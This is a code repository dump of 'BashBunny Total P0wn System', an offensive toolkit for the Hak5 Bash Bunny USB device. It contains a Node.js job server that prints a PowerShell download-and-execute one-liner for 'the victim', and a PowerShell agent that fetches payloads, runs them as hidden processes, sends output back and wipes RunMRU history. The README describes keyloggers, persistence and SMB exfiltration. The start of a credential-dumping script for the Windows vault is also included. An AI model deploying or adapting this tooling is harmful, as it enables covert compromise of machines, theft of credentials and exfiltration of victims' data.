| var FirstRun = false; 34 | var AgentRequested = false; 35 | var hasJobs = true; 36 | 37 | //process jobslist 38 | 39 | if(Debug){ 40 | console.log(joblist); 41 | console.log("Loot dir is:" + lootdir); 42 | console.log("Jobsfolder is:" + jobsfolder); 43 | } 44 | var helper = require(__dirname + '/helpers.js'); 45 | 46 | joblist = helper.jobParser(joblist, jobsfolder); 47 | if(Debug){console.log(joblist);} 48 | 49 | app.get('/getAgent', function(req, res){ 50 | if(Debug){console.log('Agent Requested...');} 51 | if(AgentRequested == false){ 52 | prc.exec('LED STAGE2').unref(); 53 | if(Debug){console.log('Agent download led indicator lit..');} 54 | AgentRequested = true; 55 | } 56 | fs.readFile(agentfile, 'utf8', function(err, data){ 57 | if(err){ 58 | if(Debug){console.log('Error reading Agent.');} 59 | exit(1); 60 | }else{ 61 | if(Debug){console.log('Sending Agent...');} 62 | res.send(data); 63 | } 64 | }); 65 | }); 66 | 67 | app.get('/getConfig', function(err, res){ 68 | var returnConfig = {} 69 | returnConfig.BB_SMBLOOT = BB_SMBLOOT; 70 | returnConfig.BB_SMBROOT = BB_SMBROOT; 71 | returnConfig.TARGET_HOSTNAME = TARGET_HOSTNAME; 72 | res.json(returnConfig); 73 | }) 74 | app.get('/getJob1', function(req, res){ 75 | if(Debug){console.log('A job was requested');} 76 | 77 | sendjob = joblist.pop(); 78 | if(sendjob){ 79 | hasJobs = true; 80 | if(FirstRun == false && hasJobs == true){ 81 | prc.exec('LED STAGE3').unref(); 82 | if(Debug){console.log('LED lights for first job sent..');} 83 | FirstRun = true; 84 | } 85 | var payload = {}; 86 | payload.jobName = sendjob.jobName; 87 | payload.command = sendjob.command; 88 | payload.runType = sendjob.runType.toLowerCase(); 89 | fs.readFile(sendjob.scriptName, 'utf8', function(err, data){ 90 | if(err){ 91 | if(Debug){console.log("error reading payload");} 92 | }else{ 93 | zlib.deflateRaw(new Buffer(data), function(err, buffer){ 94 | payload.payload = buffer.toString('base64'); 95 | //console.log(payload); 96 | res.json(payload); 97 | }) 98 | } 99 | }); 100 | }else{ 101 | if(hasJobs == true){ 102 | hasJobs = false; 103 | FirstRun = false; 104 | if(Debug){console.log('No more jobs for agent, lighting LED for empty queue.');} 105 | prc.exec('CLEANUP').unref(); 106 | } 107 | var payload = {}; 108 | payload.jobName = "none"; 109 | payload.payload = "none"; 110 | res.json(payload); 111 | } 112 | }); 113 | 114 | app.post('/addJob', function(req, res){ 115 | if(Debug){console.log(req.body);} 116 | var addJobObj = req.body; 117 | addJobObj = helper.jobParser(addJobObj, jobsfolder); 118 | if(addJobObj){ 119 | joblist.push(addJobObj); 120 | res.send('done'); 121 | }else{ 122 | res.send('error'); 123 | } 124 | }); 125 | 126 | app.post('/pushData', function(req, res){ 127 | if(Debug){console.log(req.body);} 128 | var logData = req.body; 129 | if(logData.jobName){ 130 | var logtmp = lootdir + '/' + logData.jobName + '.log'; 131 | fs.writeFile(logtmp, logData.data, function(err){ 132 | if(err){ 133 | res.send('error'); 134 | }else{ 135 | res.send('success'); 136 | } 137 | }); 138 | }else{ 139 | res.send('error'); 140 | } 141 | }); 142 | 143 | app.get('/quit', function(req, res){ 144 | prc.exec('LED FINISH').unref(); 145 | res.send('bye'); 146 | process.exit(0); 147 | }); 148 | 149 | app.listen(port, function(){ 150 | if(Debug){ 151 | console.log('Starting Server'); 152 | console.log('\x1b[33m%s\x1b[0m','Copy and paste the below command to launch the agent on the victim.'); 153 | console.log('\x1b[32m%s\x1b[0m','powershell -NonI -Nop -C "$p=\''+SERVERIP+'\';$ic=1;$jr=0;while($ic -le 20){if((test-connection $p -count 1 -quiet) -eq $true){try{iex (new-object net.webclient).DownloadString(\'http://\'+\$p+\':1337/getAgent\');$jr=1;}catch{$ic++}if($jr){Invoke-bbAgent $p 1337 -verbose;exit}}else{$ic++}sleep -s 2}"'); 154 | } 155 | }); -------------------------------------------------------------------------------- /README.MD: -------------------------------------------------------------------------------- 1 | # BashBunny Total P0wn System v1.6 2 | 3 | Author: PoSHMag1C0de 4 | 5 | ### Credits: 6 | * PowershellMafia 7 | * For [Powersploit](https://github.com/PowerShellMafia/PowerSploit) that I used snippets from for the bbAgent compression. 8 | * For some of the payloads I included in the example job pack called totalp0wn. 9 | * PowershellEmpire Team 10 | * Love [Empire](https://github.com/EmpireProject/Empire), its agent gave me ideas for the bbAgent. 11 | * Hak5 Team 12 | * Like the Ducky, Loving the Bash Bunny, soon to get the Pineapple. 13 | 14 | ## Introduction 15 | The BashBunny Total P0wn System is a batch job tool for the [Hak5 BashBunny](https://hakshop.com/products/bash-bunny). It's primary use is to manage multiple Powershell payloads as jobs, receive back the output of those jobs and can deliver payloads you wish to leave behind after the BashBunny is removed as processes. You can even fire off jobs that can call back to the bunny to queue other jobs to be delivered and ran that are stored on the Bunny. 16 | 17 | Note: If you are planning on delivering one payload, it is better if you customize a delivery just for it as it will be delivered faster than the BBTPS. The BBTPS will only improve the speed of multiple payloads needing to be delivered as they will be ran asynchronously rather than consecutively. 18 | 19 | 20 | # Directions 21 | Below will be how to get the BBTPS up and going and using the default payload groups included. I will be working on wiki documentation on how to configure BBTPS to work with your own list of payloads. The link for the wiki will appear here when done. In the meantime, there is a default payload pack for testing and totalp0wn pack with some popular scripts, a couple I created myself. 22 | 23 | ## Requirements 24 | * NodeJS and NPM installed on desktop you are cloning BBTPS to. 25 | * They are needed for you to downloaded the required packages for the NodeJS server that will be running on the Bunny. 26 | * BashBunny Firmware version 1.3 +. 27 | * [Impacket](https://forums.hak5.org/index.php?/topic/40971-info-tools/) tools installed on Bash Bunny for smb services. 28 | 29 | ## Installation 30 | 31 | 1. Clone the BBTPS to your local machine. 32 | 2. Enter the cloned folder and run ```npm install```. 33 | 3. After all packages are downloaded, insert your BashBunny into your computer in arming mode. 34 | 4. Browse to your file folders on your Bash Bunny to "/payloads/(switch position of your choice)". 35 | 5. copy the contents of the BBTPS folder to the switch location you chose. 36 | 37 | _Note: You will get errors about "." files not support. Ignore them and continue copying._ 38 | 39 | 6. Configure the jobselect.txt to point to your configuration file. (_currently pointing to TP payload config_) 40 | 7. Configure the payload configuration file to point to your folder containing your scripts and point to your joblist file. (_Currently pointing at TotalP0wn scripts folder and joblist 2_). 41 | 8. Configure joblist file for scripts to be ran. (_Sample jobslists already in jobs folder and template in templates folder_). 42 | 43 | **Payload.txt** should not be modified unless attempting to improve system. Primary files that are safe to edit and are used to configure the BBTPS for your payloads are below. 44 | 45 | * jobselect.txt 46 | * This is the first file after payload.txt that is called. It is used for you to easily select the config file that will select your payloads. 47 | * configs/yourconfig.txt 48 | * File that is called by jobselect.txt and is used to point BBTPS to folder that has your script and JSON file that has your list of jobs to run. Also a variable to name your loot root folder, to run as admin or not, debugging flag and quack speed is here. 49 | * jobs folder 50 | * This is where you should put your jobs in its own folder but you are free to put them whereever you like. Just make sure the config file reflects it. 51 | * joblist.json file 52 | * This is the list of scripts and how they she be ran in a json array format. This file can be named anything. 53 | 54 | The BBTPS is default configured to use the totalp0wn jobs from joblist2. Templates for the joblists and the config files are stored in the templates folder. 55 | 56 | **More documentation will be included in the wiki on advanced configurations and usages. Right now the sample joblists and configs should get you going in the right direction until I get some complete documentation up.** 57 | 58 | ## FAQ 59 | 60 | * Can I run just a single script with the BBTPS? 61 | * Yes but it will probably be faster to create your own single downloader and run since the BBTPS has to download a pretty complex agent first before it begins to pull jobs and has a 3-4second cooldown to make sure no more jobs are to be delivered after the last job ends before it kills itself and lets the BashBunny know it is finished. The BBTPS shines when you have multiple scripts you want to run as they will be ran asynchronously rather than on after another. 62 | 63 | * Can I run a app that will run forever like a keylogger or watcher program with the BBTPS? 64 | * Yes but I would include in the joblist JSON file to run it as a process rather than thread. This fires off that app as a process outside of the BBAgent and makes it so there is no stuck job thus never causing the agent to end and tell the Bash Bunny it is done. 65 | 66 | * Can I write file exfiltation payloads for the BBTPS? 67 | * Yes, the BBTPS has an SMBServer running on it too. A function and some global variables are delivered inside the job runspace your script runs. The function is to push new job requests back to the BashBunny. The global variables are some environment variables pulled from the BashBunny when the agent started which includes a full path, with BB IP, to the root SMB folder for the bbtps and another one that goes 1 deeper based off the hostname of the machine the BB is running on. Just use the variables in your script and they will have the values you desire when your scripts are ran. **More on this will be in the wiki when done**. 68 | 69 | ### Contact 70 | 71 | If you wish to reach out to me to chat about the BBTPS or talk with a great bunch of folks about anything Bash Bunny, visit the [Hak 5 Bash Bunny Forums.](https://forums.hak5.org/index.php?/forum/92-bash-bunny/) 72 | -------------------------------------------------------------------------------- /agent/bbAgent1.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-bbAgent 2 | { 3 | [CmdletBinding()] 4 | Param 5 | ( 6 | # IP to job server 7 | [Parameter(Position=0)] 8 | [string]$ServerIP = "172.16.64.1", 9 | #Port of job server 10 | [Parameter(Position=1)] 11 | [int]$Port = 1337 12 | ) 13 | 14 | #Initialize Global webclient 2.0 compatible. 15 | Write-Verbose "Initializing global variables." 16 | add-type -assembly system.web.extensions 17 | $webc = New-Object System.Net.WebClient 18 | $baseserver = "http://" + $ServerIP + ":" + $Port + "/" 19 | $jobURL = $baseserver + "getJob1" 20 | $dataURL = $baseserver + "pushData" 21 | $configURL = $baseserver + "getConfig" 22 | $addJobURL = $baseserver + "addJob" 23 | 24 | #Helper Functions 25 | ################## 26 | 27 | #Powershell 2 compatable versions of json conversion functions. 28 | function ConvertTo-Json20 29 | { 30 | [CmdletBinding()] 31 | Param( 32 | [Parameter(Mandatory=$true)] 33 | [psobject]$item 34 | ) 35 | Write-Verbose "Converting object to JSON." 36 | $ps_js=new-object system.web.script.serialization.javascriptSerializer 37 | return $ps_js.Serialize($item) 38 | } 39 | 40 | function ConvertFrom-Json20 41 | { 42 | [CmdletBinding()] 43 | Param( 44 | [Parameter(Mandatory=$true)] 45 | [string]$item 46 | ) 47 | Write-Verbose "Converting object from JSON." 48 | $ps_js=new-object system.web.script.serialization.javascriptSerializer 49 | $ps_js.MaxJsonLength = [System.Int32]::MaxValue 50 | #The comma operator is the array construction operator in PowerShell 51 | return ,$ps_js.DeserializeObject($item) 52 | } 53 | 54 | #Convert payload encoding formats 55 | #Convert from base64 56 | function ConvertFrom-Base64 57 | { 58 | [CmdletBinding()] 59 | Param( 60 | [Parameter(Mandatory=$true)] 61 | [string]$payload, 62 | [string]$Encoding="utf8" 63 | ) 64 | Write-Verbose "Converting string from base64." 65 | if($Encoding -eq "utf8") 66 | { 67 | return [System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64String($payload))) 68 | } 69 | else 70 | { 71 | return [System.Text.Encoding]::Unicode.GetString(([System.Convert]::FromBase64String($payload))) 72 | } 73 | } 74 | 75 | function ConvertTo-Base64 76 | { 77 | [CmdletBinding()] 78 | Param( 79 | [Parameter(Mandatory=$true)] 80 | [string]$Payload, 81 | [string]$Encoding="utf8" 82 | ) 83 | Write-Verbose "Converting string to base64" 84 | if($Encoding -eq "utf8") 85 | { 86 | return [System.Convert]::toBase64String(([System.Text.Encoding]::UTF8.GetBytes($Payload))) 87 | } 88 | else 89 | { 90 | return [System.Convert]::toBase64String(([System.Text.Encoding]::Unicode.GetBytes($Payload))) 91 | } 92 | } 93 | 94 | #Uncompress encoded compressed script 95 | function ConvertFrom-CompressedEncoded 96 | { 97 | [CmdletBinding()] 98 | Param( 99 | [Parameter(Mandatory=$true)] 100 | [string]$CompressedScript 101 | ) 102 | Write-Verbose "Converting string from compressed encoding." 103 | $decodedCompressedBytes = [IO.MemoryStream][Convert]::FromBase64String($CompressedScript) 104 | $uncompressedBytes = New-Object IO.Compression.DeflateStream($decodedCompressedBytes,[IO.Compression.CompressionMode]::Decompress) 105 | return (New-Object IO.StreamReader($uncompressedBytes,[Text.Encoding]::ASCII)).ReadToEnd() 106 | } 107 | 108 | function Out-EncodedCommand 109 | { 110 | [CmdletBinding( DefaultParameterSetName = 'FilePath')] 111 | Param ( 112 | [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] 113 | [ValidateNotNullOrEmpty()] 114 | [ScriptBlock] 115 | $ScriptBlock, 116 | 117 | [Parameter(Position = 0, ParameterSetName = 'FilePath' )] 118 | [ValidateNotNullOrEmpty()] 119 | [String] 120 | $Path, 121 | 122 | [Switch] 123 | $EncodedOutput 124 | ) 125 | 126 | if ($PSBoundParameters['Path']) 127 | { 128 | Get-ChildItem $Path -ErrorAction Stop | Out-Null 129 | $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path)) 130 | } 131 | else 132 | { 133 | $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock) 134 | } 135 | 136 | $CompressedStream = New-Object IO.MemoryStream 137 | $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) 138 | $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) 139 | $DeflateStream.Dispose() 140 | $CompressedScriptBytes = $CompressedStream.ToArray() 141 | $CompressedStream.Dispose() 142 | $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) 143 | 144 | # Generate the code that will decompress and execute the payload. 145 | # This code is intentionally ugly to save space. 146 | $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' 147 | 148 | $CmdMaxLength = 8190 149 | 150 | # Build up the full command-line string. Default to outputting a fully base-64 encoded command. 151 | # If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial 152 | $CommandlineOptions = New-Object String[](0) 153 | $CommandlineOptions += '-NoE' 154 | $CommandlineOptions += '-NoP' 155 | $CommandlineOptions += '-NonI' 156 | $CommandlineOptions += "-W Hidden" 157 | 158 | $CommandLineOutput = @{} 159 | $CommandLineOutput["payload"] = "$($CommandlineOptions -join ' ') -C `"$NewScript`"" 160 | 161 | if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput["payload"].Length -le $CmdMaxLength) 162 | { 163 | $UnicodeEncoder = New-Object System.Text.UnicodeEncoding 164 | $CommandLineOutput["Encoded"] = $true 165 | $CommandLineOutput["payload"] = "$($CommandlineOptions -join ' ') -Enc `"$([Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript)))`"" 166 | } 167 | 168 | if (($CommandLineOutput["payload"].Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) 169 | { 170 | $CommandLineOutput["Encoded"] = $false 171 | } 172 | 173 | 174 | Write-Output $CommandLineOutput 175 | } 176 | 177 | function Get-BBConfig 178 | { 179 | [CmdletBinding()] 180 | Param() 181 | $serverconfig = ConvertFrom-Json20 -item $($webc.DownloadString($configURL)) 182 | $confstring = @" 183 | `$Script:BB_IP = "$ServerIP" 184 | `$Script:BB_PORT = $([int]$Port) 185 | `$Script:BB_SMBLOOT = "$($serverconfig.BB_SMBLOOT)" 186 | `$Script:BB_SMBROOT = "$($serverconfig.BB_SMBROOT)" 187 | `$Script:BB_TARGET_HOSTNAME = "$($serverconfig.TARGET_HOSTNAME)" 188 | `$Script:BB_ADDJOBURL = "$addJobURL" 189 | "@ 190 | $newjobsb = { 191 | function Send-NewJob 192 | { 193 | [CmdletBinding()] 194 | Param( 195 | [Parameter(Mandatory=$true, Position=0)] 196 | [string]$jobName, 197 | [Parameter(Mandatory=$true, Position=1)] 198 | [string]$command, 199 | [Parameter(Mandatory=$true, Position=2)] 200 | [ValidateSet("process", "thread")] 201 | [string]$runType, 202 | [Parameter(Mandatory=$true, Position=3)] 203 | [string]$scriptName, 204 | [Parameter(Mandatory=$false, Position=4)] 205 | [string]$addjoburl = $BB_ADDJOBURL 206 | ) 207 | add-type -assembly system.web.extensions 208 | $webc = New-Object System.Net.WebClient 209 | 210 | function ConvertTo-Json20 211 | { 212 | [CmdletBinding()] 213 | Param( 214 | [Parameter(Mandatory=$true)] 215 | [psobject]$item 216 | ) 217 | Write-Verbose "Converting object to JSON." 218 | $ps_js=new-object system.web.script.serialization.javascriptSerializer 219 | return $ps_js.Serialize($item) 220 | } 221 | 222 | function Send-BBData 223 | { 224 | [CmdletBinding()] 225 | Param( 226 | [Parameter(Mandatory=$true, Position=0)] 227 | [string]$bbURL, 228 | [Parameter(Mandatory=$true, Position=1)] 229 | [hashtable]$jsonData 230 | ) 231 | 232 | $jsonJob = ConvertTo-Json20 -item $jsonData 233 | $webc.Headers[[System.Net.HttpRequestHeader]::ContentType] = "application/json" 234 | try 235 | { 236 | $null = $webc.UploadString($bbURL, "POST", $jsonJob) 237 | return $true 238 | } 239 | catch 240 | { 241 | return $false 242 | } 243 | } 244 | #Main Part 245 | $jobData = @{ 246 | jobName = $jobName 247 | command = $command 248 | runType = $runType 249 | scriptName = $scriptName 250 | } 251 | return (Send-BBData $addjoburl $jobData) 252 | } 253 | } 254 | $confstring += "`r`n`r`n{0}" -f ($newjobsb.ToString()) 255 | return ([scriptblock]::Create($confstring)) 256 | } 257 | 258 | function Send-ReturnData 259 | { 260 | [CmdletBinding()] 261 | Param( 262 | [Parameter(Mandatory=$true)] 263 | [psobject]$ReturnData 264 | ) 265 | $jsonJob = ConvertTo-Json20 -item $ReturnData 266 | Write-Verbose ("Data being sent is: {0}" -f $jsonJob) 267 | Write-Verbose ("Url being sent to: {0}" -f $dataURL) 268 | $webc.Headers[[System.Net.HttpRequestHeader]::ContentType] = "application/json" 269 | Write-Verbose ("Content Type is: {0}" -f $webc.Headers[[System.Net.HttpRequestHeader]::ContentType]) 270 | try 271 | { 272 | $null = $webc.UploadString($dataURL, "POST", $jsonJob) 273 | return $true 274 | } 275 | catch 276 | { 277 | return $false 278 | } 279 | } 280 | 281 | #JobCycle 282 | function Start-JobCycle 283 | { 284 | [CmdletBinding()] 285 | Param() 286 | 287 | $emptycount = 0 288 | Write-Verbose "Beginning Job loop inside Start-Job function." 289 | while($emptycount -le 3) 290 | { 291 | Write-Verbose "Testing to see if server machine is online." 292 | if(Test-Connection -ComputerName $ServerIP -Count 1 -Quiet) 293 | { 294 | if([string]::IsNullOrEmpty($BBConfig)) 295 | { 296 | Write-Verbose "Reading BBConfig" 297 | $BBConfig = Get-BBConfig 298 | } 299 | else 300 | { 301 | Write-Verbose "BBConfig already acquired, skipping reading." 302 | } 303 | Write-Verbose "Checking for finished jobs." 304 | $doneJobs = Get-Job | Where-Object {@("Completed","Blocked","Failed") -contains $_.State} 305 | if($doneJobs) 306 | { 307 | Write-Verbose "Jobs were found, processing." 308 | $doneJobs | Where-Object {$_.state -eq "Completed"} | ForEach-Object { 309 | Write-Verbose ("Completed jobs are: {0}" -f ($_ | out-string)) 310 | if($_.HasMoreData) 311 | { 312 | $jobData = Receive-Job $_ -ErrorAction SilentlyContinue -ErrorVariable "jobError" | Out-String 313 | $jobData += "`r`n{0}" -f $($jobError | Out-String) 314 | if([string]::IsNullOrEmpty($jobData)) 315 | { 316 | Write-Verbose ("Job:{0} has no data, returning default." -f $_.Name) 317 | $jobdata = "Job finished, no data" 318 | } 319 | $returnobj = @{ 320 | jobName = $_.Name 321 | data = $jobData 322 | } 323 | 324 | Write-Verbose ("Removing Job:{0} and sending data." -f $_.Name) 325 | $null = remove-job $_ 326 | if(Send-ReturnData -ReturnData $returnobj) 327 | { 328 | Write-Verbose "Data successfully returned." 329 | } 330 | else 331 | { 332 | Write-Verbose "Failed to return Data." 333 | } 334 | } 335 | } 336 | $doneJobs | Where-Object {@("Blocked","Failed") -contains $_.State} | ForEach-Object { 337 | Write-Verbose ("Blocked and Failed Jobs are: {0}" -f ($_ | out-string)) 338 | $jobData = "Job was terminated because it failed or was in block state for user input.`r`n" 339 | if($_.HasMoreData) 340 | { 341 | $jobData += Receive-Job $_ -ErrorAction SilentlyContinue -ErrorVariable "jobError" 342 | if($jobError) 343 | { 344 | $jobData += "`r`n{0}" -f $jobError 345 | } 346 | } 347 | $returnobj = @{ 348 | jobName = $_.Name 349 | data = $jobData 350 | } 351 | 352 | Write-Verbose ("Removing and sending Job: {0}" -f $_.Name) 353 | $null = Stop-Job $_ -PassThru | Remove-Job 354 | if(Send-ReturnData -ReturnData $returnobj) 355 | { 356 | Write-Verbose "Data successfully returned." 357 | } 358 | else 359 | { 360 | Write-Verbose "Data unsuccessfully returned." 361 | } 362 | } 363 | } 364 | Write-Verbose "Getting jobs from server." 365 | Try 366 | { 367 | $payloadobj = ConvertFrom-Json20 -item $($webc.DownloadString($jobURL)) 368 | } 369 | catch 370 | { 371 | $payloadobj = $null 372 | } 373 | 374 | if($payloadobj -and $payloadobj.payload -ne "none") 375 | { 376 | $emptycount = 0 377 | if($payloadobj.payload) 378 | { 379 | $payloadobj.payload = ConvertFrom-CompressedEncoded -CompressedScript $($payloadobj.payload) 380 | } 381 | 382 | 383 | if(-not [string]::IsNullOrEmpty($payloadobj.payload)) 384 | { 385 | Write-Verbose "Appending command to script." 386 | $payloadobj.payload += $payloadobj.command 387 | } 388 | else 389 | { 390 | Write-Verbose "Command is empty, not appending" 391 | } 392 | Write-Verbose $payloadobj.payload 393 | Write-Verbose ("Checking for runType which is: {0}" -f $payloadobj.runType) 394 | if($payloadobj.runType -eq "process") 395 | { 396 | Write-Verbose "Running job as process." 397 | if($payloadobj.payload.Length -lt 400) 398 | { 399 | $paydirt = ConvertTo-Base64 -Payload $payloadobj.payload -Encoding "unicode" 400 | $paydirt = "-NonI -NoP -W Hidden -ENC $paydirt" 401 | } 402 | else 403 | { 404 | $paydirt = (Out-EncodedCommand -ScriptBlock ([scriptblock]::Create($payloadobj.payload))).payload 405 | } 406 | try { 407 | Write-Verbose $paydirt 408 | $processObj = Start-Process "Powershell" -WindowStyle "Hidden" -ArgumentList $paydirt -PassThru 409 | Remove-Variable -Name "paydirt" 410 | $retProc = @{ 411 | jobName = $payloadobj.jobName 412 | data = "Job started under process {0}" -f ($processObj.Id) 413 | } 414 | } 415 | catch { 416 | Remove-Variable -Name "paydirt" 417 | $retProc = @{ 418 | jobName = $payloadobj.jobName 419 | data = $_.Exception.Message 420 | } 421 | } 422 | if(Send-ReturnData -ReturnData $retProc) 423 | { 424 | Write-Verbose "Returned successful process data." 425 | } 426 | } 427 | else 428 | { 429 | Write-Verbose "Creating scriptblock from payload." 430 | $payload = [scriptblock]::Create(($payloadobj.payload)) 431 | Write-Verbose "Starting job from payload." 432 | $null = Start-Job -Name $($payloadobj.jobName) -ScriptBlock $payload -InitializationScript ($BBConfig) 433 | } 434 | 435 | } 436 | elseif((Get-Job)) 437 | { 438 | Write-Verbose "Jobs still running, no jobs on server queue, resetting timeout." 439 | $emptycount = 0 440 | } 441 | else 442 | { 443 | Write-Verbose "Job queue empty, no more jobs from server, timeout incremented." 444 | $emptycount++ 445 | } 446 | } 447 | else 448 | { 449 | Write-Verbose "Server not found, incrementing timeout counter." 450 | $emptycount++ 451 | } 452 | Write-Verbose "Sleeping for 1 seconds." 453 | Write-Verbose ("Count is at: {0}" -f $emptycount) 454 | Write-Verbose (Get-Job | Out-String) 455 | Start-Sleep -Seconds 1 456 | } 457 | Write-Verbose "Sending server quit command." 458 | try 459 | { 460 | $null = $webc.DownloadString($baseserver + "quit") 461 | } 462 | catch 463 | { 464 | Write-Verbose "Server is not up, quit was not received." 465 | } 466 | } 467 | Start-JobCycle 468 | Write-Verbose "Garbage collecting before exiting." 469 | Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue 470 | [System.GC]::Collect() 471 | } 472 | -------------------------------------------------------------------------------- /jobs/totalp0wn/Get-VaultCredential.ps1: -------------------------------------------------------------------------------- 1 | function Get-VaultCredential 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Displays Windows vault credential objects including cleartext web credentials. 7 | 8 | PowerSploit Function: Get-VaultCredential 9 | Author: Matthew Graeber (@mattifestation) 10 | License: BSD 3-Clause 11 | Required Dependencies: None 12 | Optional Dependencies: None 13 | 14 | .DESCRIPTION 15 | 16 | Get-VaultCredential enumerates and displays all credentials stored in the Windows 17 | vault. Web credentials, specifically are displayed in cleartext. This script was 18 | inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt 19 | 20 | .EXAMPLE 21 | 22 | Get-VaultCredential 23 | 24 | .NOTES 25 | 26 | Only web credentials can be displayed in cleartext. 27 | #> 28 | [CmdletBinding()] Param() 29 | 30 | $OSVersion = [Environment]::OSVersion.Version 31 | $OSMajor = $OSVersion.Major 32 | $OSMinor = $OSVersion.Minor 33 | 34 | #region P/Invoke declarations for vaultcli.dll 35 | $DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil') 36 | $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 37 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False) 38 | 39 | $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32]) 40 | $null = $EnumBuilder.DefineLiteral('Undefined', -1) 41 | $null = $EnumBuilder.DefineLiteral('Boolean', 0) 42 | $null = $EnumBuilder.DefineLiteral('Short', 1) 43 | $null = $EnumBuilder.DefineLiteral('UnsignedShort', 2) 44 | $null = $EnumBuilder.DefineLiteral('Int', 3) 45 | $null = $EnumBuilder.DefineLiteral('UnsignedInt', 4) 46 | $null = $EnumBuilder.DefineLiteral('Double', 5) 47 | $null = $EnumBuilder.DefineLiteral('Guid', 6) 48 | $null = $EnumBuilder.DefineLiteral('String', 7) 49 | $null = $EnumBuilder.DefineLiteral('ByteArray', 8) 50 | $null = $EnumBuilder.DefineLiteral('TimeStamp', 9) 51 | $null = $EnumBuilder.DefineLiteral('ProtectedArray', 10) 52 | $null = $EnumBuilder.DefineLiteral('Attribute', 11) 53 | $null = $EnumBuilder.DefineLiteral('Sid', 12) 54 | $null = $EnumBuilder.DefineLiteral('Last', 13) 55 | $VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType() 56 | 57 | $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32]) 58 | $null = $EnumBuilder.DefineLiteral('Illegal', 0) 59 | $null = $EnumBuilder.DefineLiteral('Resource', 1) 60 | $null = $EnumBuilder.DefineLiteral('Identity', 2) 61 | $null = $EnumBuilder.DefineLiteral('Authenticator', 3) 62 | $null = $EnumBuilder.DefineLiteral('Tag', 4) 63 | $null = $EnumBuilder.DefineLiteral('PackageSid', 5) 64 | $null = $EnumBuilder.DefineLiteral('AppStart', 100) 65 | $null = $EnumBuilder.DefineLiteral('AppEnd', 10000) 66 | $VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType() 67 | 68 | $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind]) 69 | $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet') 70 | $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor, 71 | @([Runtime.InteropServices.LayoutKind]::Explicit), 72 | $CharsetField, 73 | @([Runtime.InteropServices.CharSet]::Ansi)) 74 | $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 75 | 76 | $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4) 77 | $null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public') 78 | $null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public') 79 | $null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public') 80 | $null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public') 81 | $null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public') 82 | if ($OSMajor -ge 6 -and $OSMinor -ge 2) 83 | { 84 | $null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public') 85 | } 86 | $null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public') 87 | $null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') 88 | $null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public') 89 | $null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public') 90 | $VAULT_ITEM = $TypeBuilder.CreateType() 91 | 92 | $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes) 93 | $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) 94 | $null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0) 95 | $null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8) 96 | $VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType() 97 | 98 | 99 | $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class') 100 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault', 101 | 'vaultcli.dll', 102 | 'Public, Static', 103 | [Reflection.CallingConventions]::Standard, 104 | [Int32], 105 | [Type[]] @([Guid].MakeByRefType(), 106 | [UInt32], 107 | [IntPtr].MakeByRefType()), 108 | [Runtime.InteropServices.CallingConvention]::Winapi, 109 | [Runtime.InteropServices.CharSet]::Auto) 110 | 111 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault', 112 | 'vaultcli.dll', 113 | 'Public, Static', 114 